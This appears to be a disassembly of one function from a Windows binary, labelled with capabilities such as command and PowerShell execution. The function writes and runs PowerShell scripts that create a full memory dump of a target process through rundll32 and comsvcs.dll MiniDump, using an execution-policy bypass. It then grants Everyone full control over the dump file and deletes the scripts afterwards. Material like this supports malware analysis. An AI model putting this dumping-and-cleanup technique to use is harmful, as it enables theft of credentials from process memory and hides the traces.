Function at 0x140004960
Capabilities:
Delete file
Execute command
Run powershell expression

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0xa0]
sub rsp, 0x1a0
mov rax, qword [0x140020010]
xor rax, rsp
mov qword [rbp + 0x90], rax
mov rdi, rcx
mov qword [rsp + 0x38], rcx
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp - 0x80]
call sub.VCRUNTIME140.dll_memset
lea rcx, [rbp - 0x80]
call fcn.140014400
nop
mov r8d, 2
lea rdx, str.dump.ps1
lea rcx, [rbp - 0x78]
call fcn.140014a00
xor r8d, r8d
test rax, rax
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x80]
je 0x1400049ec
add rcx, rax
xor edx, edx
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::clear_int__bool____ptr64]
jmp 0x1400049fa
add rcx, rax
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x58], 0xf
mov qword [rsp + 0x50], 8
movabs rax, 0xa28206d61726170
mov qword [rsp + 0x40], rax
mov byte [rsp + 0x48], 0
mov qword [rsp + 0x20], 0x17
lea r9, str._____string__processId_n
mov edx, 0x17
lea rcx, [rsp + 0x40]
call fcn.140015650
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x58]
mov rax, rdx
sub rax, rcx
cmp rax, 2
jb 0x140004a82
lea rax, [rcx + 2]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x40]
cmp rdx, 0x10
cmovae rax, qword [rsp + 0x40]
mov word [rax + rcx], 0xa29
mov byte [rax + rcx + 2], 0
jmp 0x140004aa1
mov qword [rsp + 0x20], 2
lea r9, [0x140019828]
mov edx, 2
lea rcx, [rsp + 0x40]
call fcn.140015650
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x58]
mov rax, rdx
sub rax, rcx
cmp rax, 0x6c
jb 0x140004aed
lea rax, [rcx + 0x6c]
mov qword [rsp + 0x50], rax
lea rbx, [rsp + 0x40]
cmp rdx, 0x10
cmovae rbx, qword [rsp + 0x40]
add rbx, rcx
mov r8d, 0x6c
lea rdx, str.Invoke_Expression__Command__rundll32.exe_C:WindowsSystem32comsvcs.dll__MiniDump__processId_app.dmp_full__n
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x6c], 0
jmp 0x140004b0c
mov qword [rsp + 0x20], 0x6c
lea r9, str.Invoke_Expression__Command__rundll32.exe_C:WindowsSystem32comsvcs.dll__MiniDump__processId_app.dmp_full__n
mov edx, 0x6c
lea rcx, [rsp + 0x40]
call fcn.140015650
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae rdx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x50]
lea rcx, [rbp - 0x80]
call fcn.140015bb0
mov rcx, rax
lea rdx, [0x140014e20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp - 0x78]
call fcn.140014940
test rax, rax
jne 0x140004b65
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x80]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov r14, qword [rdi + 0x10]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r14
cmp rax, 0x3a
jb 0x140005116
mov r12, rdi
cmp qword [rdi + 0x18], 0x10
jb 0x140004b90
mov r12, qword [rdi]
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x70], xmm1
lea r15, [r14 + 0x3a]
mov ebx, 0xf
lea rsi, [rsp + 0x60]
cmp r15, rbx
jbe 0x140004c2e
mov rbx, r15
or rbx, 0xf
cmp rbx, rcx
jbe 0x140004bf0
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140016a90
test rax, rax
je 0x140004f95
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x140004c29
mov eax, 0x16
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140004c18
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000511c
jmp 0x140004bd1
test rcx, rcx
je 0x140004c27
call fcn.140016a90
mov rsi, rax
jmp 0x140004c29
xor esi, esi
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], rbx
movups xmm0, xmmword [str.powershell__ExecutionPolicy_Bypass__F_dump.ps1__processId]
movups xmmword [rsi], xmm0
movups xmm1, xmmword [0x1400198b0]
movups xmmword [rsi + 0x10], xmm1
movups xmm0, xmmword [0x1400198c0]
movups xmmword [rsi + 0x20], xmm0
movsd xmm0, qword [0x1400198d0]
movsd qword [rsi + 0x30], xmm0
movzx eax, word [0x1400198d8]
mov word [rsi + 0x38], ax
lea rcx, [rsi + 0x3a]
mov r8, r14
mov rdx, r12
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + r15], 0
lea rcx, [rsp + 0x60]
cmp qword [rsp + 0x78], 0x10
cmovae rcx, qword [rsp + 0x60]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.dump.ps1
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov r8d, 2
lea rdx, str.set_permissions.ps1
lea rcx, [rbp - 0x78]
call fcn.140014a00
xor r8d, r8d
test rax, rax
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x80]
je 0x140004cdf
add rcx, rax
xor edx, edx
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::clear_int__bool____ptr64]
jmp 0x140004ced
add rcx, rax
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov rax, qword [rsp + 0x58]
cmp rax, 0x12
jb 0x140004d2b
lea rbx, [rsp + 0x40]
cmp rax, 0x10
cmovae rbx, qword [rsp + 0x40]
mov qword [rsp + 0x50], 0x12
mov r8d, 0x12
lea rdx, str._file__app.dmp_n
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x12], 0
jmp 0x140004d41
lea r9, str._file__app.dmp_n
mov edx, 0x12
lea rcx, [rsp + 0x40]
call fcn.1400157e0
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x58]
mov rax, rdx
sub rax, rcx
cmp rax, 0x6a
jb 0x140004d8d
lea rax, [rcx + 0x6a]
mov qword [rsp + 0x50], rax
lea rbx, [rsp + 0x40]
cmp rdx, 0x10
cmovae rbx, qword [rsp + 0x40]
add rbx, rcx
mov r8d, 0x6a
lea rdx, str._rule__New_Object_System.Security.AccessControl.FileSystemAccessRule_Everyone__FullControl__Allow__n
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x6a], 0
jmp 0x140004dac
mov qword [rsp + 0x20], 0x6a
lea r9, str._rule__New_Object_System.Security.AccessControl.FileSystemAccessRule_Everyone__FullControl__Allow__n
mov edx, 0x6a
lea rcx, [rsp + 0x40]
call fcn.140015650
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x58]
mov rax, rdx
sub rax, rcx
cmp rax, 0x15
jb 0x140004df8
lea rax, [rcx + 0x15]
mov qword [rsp + 0x50], rax
lea rbx, [rsp + 0x40]
cmp rdx, 0x10
cmovae rbx, qword [rsp + 0x40]
add rbx, rcx
mov r8d, 0x15
lea rdx, str._acl__Get_Acl__file_n
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x15], 0
jmp 0x140004e17
mov qword [rsp + 0x20], 0x15
lea r9, str._acl__Get_Acl__file_n
mov edx, 0x15
lea rcx, [rsp + 0x40]
call fcn.140015650
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x58]
mov rax, rdx
sub rax, rcx
cmp rax, 0x1a
jb 0x140004e63
lea rax, [rcx + 0x1a]
mov qword [rsp + 0x50], rax
lea rbx, [rsp + 0x40]
cmp rdx, 0x10
cmovae rbx, qword [rsp + 0x40]
add rbx, rcx
mov r8d, 0x1a
lea rdx, str._acl.SetAccessRule__rule__n
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x1a], 0
jmp 0x140004e82
mov qword [rsp + 0x20], 0x1a
lea r9, str._acl.SetAccessRule__rule__n
mov edx, 0x1a
lea rcx, [rsp + 0x40]
call fcn.140015650
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x58]
mov rax, rdx
sub rax, rcx
cmp rax, 0x13
jb 0x140004ece
lea rax, [rcx + 0x13]
mov qword [rsp + 0x50], rax
lea rbx, [rsp + 0x40]
cmp rdx, 0x10
cmovae rbx, qword [rsp + 0x40]
add rbx, rcx
mov r8d, 0x13
lea rdx, str.Set_Acl__file__acl_n
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x13], 0
jmp 0x140004eed
mov qword [rsp + 0x20], 0x13
lea r9, str.Set_Acl__file__acl_n
mov edx, 0x13
lea rcx, [rsp + 0x40]
call fcn.140015650
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae rdx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x50]
lea rcx, [rbp - 0x80]
call fcn.140015bb0
mov rcx, rax
lea rdx, [0x140014e20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp - 0x78]
call fcn.140014940
test rax, rax
jne 0x140004f46
mov rax, qword [rbp - 0x80]
movsxd r8, dword [rax + 4]
lea rcx, [rbp - 0x80]
add rcx, r8
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
lea rcx, str.powershell__ExecutionPolicy_Bypass__F_set_permissions.ps1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.set_permissions.ps1
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x140004fa1
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004f9c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004f9c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140016acc
movdqa xmm0, xmmword [0x14001b840]
movdqu xmmword [rsp + 0x70], xmm0
mov byte [rsp + 0x60], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x140004ff4
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004fef
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004fef
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140016acc
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], 0xf
mov byte [rsp + 0x40], 0
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x80], rax
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x7c], edx
lea rax, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov qword [rbp - 0x78], rax
cmp qword [rbp + 8], 0
je 0x14000506a
mov rax, qword [rbp - 0x60]
lea rcx, [rbp - 8]
cmp qword [rax], rcx
jne 0x14000506a
mov rdx, qword [rbp + 0x18]
mov rcx, qword [rbp + 0x10]
mov qword [rax], rcx
mov rax, qword [rbp - 0x40]
mov qword [rax], rcx
sub edx, ecx
mov rax, qword [rbp - 0x28]
mov dword [rax], edx
cmp byte [rbp + 4], 0
je 0x140005079
lea rcx, [rbp - 0x78]
call fcn.140014940
lea rcx, [rbp - 0x78]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rbp - 0x70]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x28]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rdi + 0x18]
cmp rdx, 0x10
jb 0x1400050cf
inc rdx
mov rcx, qword [rdi]
cmp rdx, 0x1000
jb 0x1400050ca
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000510f
mov rcx, r8
call fcn.140016acc
mov qword [rdi + 0x10], 0
mov qword [rdi + 0x18], 0xf
mov byte [rdi], 0
xor eax, eax
mov rcx, qword [rbp + 0x90]
xor rcx, rsp
call fcn.140016a70
lea r11, [rsp + 0x1a0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.140001220
nop
call fcn.140001180
int3